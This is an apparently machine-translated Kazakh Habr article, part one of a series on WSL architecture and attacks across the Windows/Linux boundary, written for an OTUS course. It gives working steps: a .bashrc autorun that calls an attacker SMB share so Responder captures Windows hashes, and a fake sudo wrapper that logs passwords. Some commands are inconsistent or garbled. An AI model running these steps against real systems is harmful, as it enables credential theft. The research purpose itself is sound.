WSL эксперименттері. 1 бөлім

Сәлем, Хабр! OTUS қазан айында жаңа курстар ағынын іске қосады «Linux қауіпсіздігі». Курстың басталуына орай, біз сіздермен оқытушыларымыздың бірі Александр Колесниковтың жазған мақаласын ұсынамыз.

WSL эксперименттері. 1 бөлім

2016 жылы Microsoft АТ қауымдастығына жаңа WSL технологиясын ұсынды (Wиндус Sүшін ішкі жүйе Linux), бұл болашақта қарапайым және озық ОЖ пайдаланушылары арасында танымал болу үшін күрескен бұрын келіспейтін бәсекелестерді біріктіруге мүмкіндік берді: Windows және Linux. Бұл технология Linux ОЖ құралдарын Windows ортасында Linux жүйесін іске қосудың қажеті жоқ, мысалы, Multi-boot көмегімен пайдалануға мүмкіндік берді. Habr сайтында WSL пайдаланудың артықшылықтарын сипаттайтын көптеген мақалаларды таба аласыз. Алайда, өкінішке орай, осы мақаланы жасау кезінде осы ресурста операциялық жүйелердің мұндай симбиозының қауіпсіздігі туралы зерттеулер табылмады. Бұл пост осыны түзету әрекеті болады. Мақалада WSL 1 және 2 архитектураларының ерекшеліктері туралы айтылады және осы технологияларды пайдаланатын жүйелерге шабуылдардың бірнеше мысалдары қарастырылады. Мақала 2 бөлікке бөлінген. Біріншісі Linux және Windows жүйелерінің негізгі теориялық шабуыл әдістерін береді. Екінші мақала сынақ ортасын орнатуды және шабуылдарды жаңғыртуды қамтиды.

WSL 1: сәулет ерекшеліктері

WSL қауіпсіздік мәселелеріне ең дәл ену үшін ішкі жүйені енгізумен байланысты негізгі нюанстарды анықтау қажет. WSL арқылы шешілетін негізгі пайдаланушы тапсырмаларының бірі - Windows ОЖ жұмыс істейтін хостта Linux терминалы арқылы жұмыс істеу мүмкіндігі. Сондай-ақ, ұсынылған үйлесімділік соншалықты жергілікті болды, сондықтан Linux орындалатын файлдары (ELFs) Windows жүйесінде тікелей іске қосылуы мүмкін. Осы мақсаттарға жету үшін Windows 10 жүйесінде арнайы жүйелік қоңыраулар жиынтығын пайдаланып Linux қолданбаларын іске қосуға мүмкіндік беретін арнайы ішкі жүйе жасалды - осылайша, Windows жүйесінде Linux жүйелік қоңырауларының жиынтығын салыстыруға әрекет жасалды. Бұл жаңа драйверлер мен жаңа процесс пішімін қосу арқылы физикалық түрде жүзеге асырылды. Көрнекі архитектура келесідей болды:

WSL эксперименттері. 1 бөлім

Шын мәнінде, Linux операциялық жүйесімен өзара әрекеттесу бірнеше ядро ​​​​модульдері және процестің ерекше түрі - pico арқылы ұйымдастырылды. Жоғарыдағы диаграммадан сіз хосттағы Linux данасында орындалатын процесс жергілікті болуы керек және кәдімгі Windows қолданбаларымен бірдей ресурстарды пайдалану керек екенін көре аласыз. Бірақ бұған қалай қол жеткізуге болады? Жобада Кескіш Басқа ОЖ қолданбасын іске қосу үшін операциялық жүйенің барлық қажетті компоненттерін (оның нұсқасына байланысты) қамтамасыз ететін Windows жүйесіне арналған процесс тұжырымдамалары әзірленді.

Ұсынылған абстракция басқа ОЖ процесі іске қосылуы күтілетін операциялық жүйеге (атап айтқанда, Windows) назар аудармауға мүмкіндік бергенін және жалпы тәсілді ұсынғанын ескеріңіз.

Осылайша, pico процесінің ішіндегі кез келген қолданба Windows ядросына байланыссыз жұмыс істей алады:

  1. Жүйелік қоңыраулардың үйлесімділігі мен аудармасы мәселелерін арнайы провайдерлер шешуі керек;
  2. Қол жеткізуді басқару Қауіпсіздік мониторы арқылы орындалуы керек. Монитор ядрода орналасқан, сондықтан Windows-қа мұндай процестер үшін провайдер ретінде әрекет ете алатын жаңа драйвер түріндегі жаңарту қажет болды. Пико процессінің прототипі төменде схемалық түрде ұсынылған:

WSL эксперименттері. 1 бөлім

Linux файлдық жүйесі регистрді ескеретін файлдар мен каталог атауларын пайдаланатындықтан, WSL-мен жұмыс істеу үшін Windows жүйесіне файлдық жүйелердің 2 түрі қосылды - VolFS және DriveFS. VolFS — Linux файлдық жүйесінің іске асырылуы, DriveFS — Windows ережелеріне сәйкес жұмыс істейтін, бірақ регистр сезімталдығын таңдау мүмкіндігі бар файлдық жүйе.

WSL 2

WSL 1-де тапсырмалардың максималды ауқымын шешу үшін пайдалануға мүмкіндік бермейтін бірқатар шектеулер болды: мысалы, оның 32-биттік Linux қолданбаларын іске қосу мүмкіндігі болмады, ал құрылғы драйверлерін пайдалану мүмкін болмады. Сондықтан, 2020 жылы WSL 2 шығарылды, ол ішкі жүйені құру тәсілін өзгертті. WSL 2 — WSL 1 ресурстарын тұтыну сипаттамаларына сәйкес келетін оңтайландырылған виртуалды машина. Енді Windows ОЖ пайдаланушысы шешетін мәселелерге байланысты Linux ішкі жүйесінің қажетті нұсқасын таңдауға болады. Ықтимал осалдықтарды азайту үшін WSL 2 Windows 10 жүйесінде Hyper-V негізінде жүзеге асырылды. Бұл пішінде Windows Linux операциялық жүйесінің ядросын оқшауланған түрде іске қосу мүмкіндігіне ие. WSL 1-нұсқасы осы саладағы Windows дамуының бағытын көрсетуі тиіс бета-функция ретінде енгізілгенін есте ұстаған жөн, сондықтан Hyper-V-ге көшу сөзсіз болды. Соңғы архитектура келесідей көрінеді:

WSL эксперименттері. 1 бөлім

Бұл нұсқада Windows және Linux ядроларының өз ресурстары бар және қиылысу тек файлдық жүйеде бар, бірақ бұл қиылысу толық емес. Файлдық жүйелер арасындағы өзара әрекеттесу 9P протоколы арқылы жұмыс істейтін клиент-сервер қаптамасы арқылы жүзеге асырылады.

Бүгінгі күні Microsoft WSL 1 және WSL 2 арасында ауысу мүмкіндігін береді. Екі нұсқа да пайдалануға қолжетімді.

WSL қауіпсіздігі

Қазіргі уақытта ішкі жүйелер арасындағы байланысқа шабуыл жасау үшін заңды ОЖ құралдарын пайдаланудың кейбір тәсілдерін сипаттайтын бірнеше жұмыстар бар. Жазу кезінде шабуылдардың өзектілігін тексеру үшін олардың сценарийлерін қолданамыз. Шабуылдар мен сценарийлердің жалпы тізімі:

1. Файлдық жүйені жүзеге асыру: қол жеткізу құқығы, ортақ каталогтардың/деректер алмасу механизмдерінің болуы.

бастап қол жеткізу ережелерін бұзуды анықтау үшін зерттеу жүргізілді Linux FS->Windows FS, Windows FS->Linux FS. Зерттеулер мақсатты ОЖ ішінде берілген файлды өзгерту мүмкіндігін көрсетті. Сондай-ақ файлдық жүйелердің бір бөлігін ауыстыру, көшірмелерін жасау және жою әрекеттері жасалды.

Сценарий:

  • A. Windows операциялық жүйесінен шабуыл – Linux ОЖ-нің /etc каталогынан файлдарды өзгерту.
  • B. Linux операциялық жүйесінен шабуыл – каталогтардағы файлдарды өзгерту: C:Windows, C:Program Files, C:Users<User>

2. Желілік стекті іске асыру.

Зерттеу Windows жүйесіндегі Linux операциялық жүйесінен жасалған шабуылдардың мысалдарын пайдалана отырып жүргізілді. Желілік стек мүмкіндіктері пайдаланылды, атап айтқанда, әртүрлі ресурстардағы аутентификация механизмдері.

Сценарий:

  • Windows жүйесінде орналасқан портқа кіру рұқсатын ашу
  • Тиісті құқықтарсыз портты ашу
  • Windows операциялық жүйесінде elf файлын пайдаланып кері қабықшаны іске қосу.

3. WSL ішкі жүйесін пайдаланып зиянды бағдарламалық қамтамасыз ету процестерін іске қосуды жасыру.

Зерттеу қарапайым фактіге негізделген - қауіпсіздік ішкі жүйелері WSL 1 жағдайында операциялық жүйенің заңды провайдерін пайдаланып жұмыс істейтін басқа ядродағы оқиғаларды ұстай алмайды. WSL 2 жағдайында орын алған оқиғаларды көру мүмкіндігі жоқ. жеңіл виртуалды машинадағы бөлек ядрода.

Сценарий:

1) Жүйеге қашықтан қол жеткізу үшін қолданбаны іске қосыңыз және тіркелген оқиғаларды қараңыз.

WSL 1 эксперименттері: хэшті ұстау (Windows)

Соңында біз практикалық бөлімге келдік. Алдымен сынақ ортасын орнату керек. Барлық эксперименттер Windows 10 2004 орнатылған стендте орындалады.WSL үшін операциялық жүйе кескіні ретінде Ubuntu 18.04 кескіні таңдалды. Кескін кездейсоқ таңдалды және кез келген басқа да жұмыс істейді. Стенд орнатуға арналған командалар:

Алдымен іске қосу керек powershell.exe әкімші ретінде.

WSL 1 үшін келесі пәрмендерді орындау керек:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • Стендті қайта жүктегеннен кейін bash пәрменін шақыруға болады. Егер бәрі дұрыс жұмыс істесе, Windows консолінде осыған ұқсас нәтижені көресіз:

    WSL эксперименттері. 1 бөлім

    Біз Kali Linux дистрибутивін шабуылдаушының машинасы ретінде қолданамыз; барлық машиналар бір жергілікті желіде болуы керек.

    Windows құрылғысында WSL-ге артықшылықсыз қатынасымыз бар делік. Linux-тан пәрменді шақыру арқылы Linux операциялық жүйесіне шабуыл жасап көрейік. Шабуылды жүзеге асыру үшін біз қарапайым autorun техникасын қолданамыз - Linux ортасында орындау үшін сценарийді қосамыз. Мұны істеу үшін файлды өзгерту керек .bashrc.

    WSL бар машинада біз орындаймыз:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Kali Linux құрылғысында біз іске қосамыз:

    1. Responder -I eth0 -rdvw

    Windows құрылғысында bash іске қосайық.

    Біз Kali Linux машинасында нәтиже күтеміз:

    WSL эксперименттері. 1 бөлім

    Осылайша, Linux жүйесінде пәрменді орындау арқылы WSL ішкі жүйесі арқылы Windows пайдаланушы хэштерін алдық.

    WSL 1 эксперименттері: пайдаланушы құпия сөзін алу (Linux ОЖ)

    Тағы бір тәжірибе жасайық. Бұл тексеру кезінде біз файлға қосамыз .bashrc Linux операциялық жүйесінің пайдаланушы құпия сөзін алу үшін бірнеше пәрмендер.

    bash іске қосып, пәрмендерді енгізейік:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Шабуылды сәтті аяқтау үшін Sam пайдаланушысы Linux терминалында sudo шақыруы керек. Осыдан кейін Linux OS пайдаланушы құпия сөзі файлда болады pass.txt:

    WSL эксперименттері. 1 бөлім

    Шабуылдарды жүзеге асыру тек теориялық ақпарат үшін берілген.

    Мақаланың келесі бөлігінде 9P хаттамасының орындалуы сипатталады, осы протокол үшін сканер жасау қарастырылады, сонымен қатар оны қолдану арқылы шабуыл жасалады.

    Қолданылған әдебиеттер тізімі

    WSL эксперименттері. 1 бөлім

    Ары қарай оқу

    Ақпарат көзі: www.habr.com

    пікір қалдыру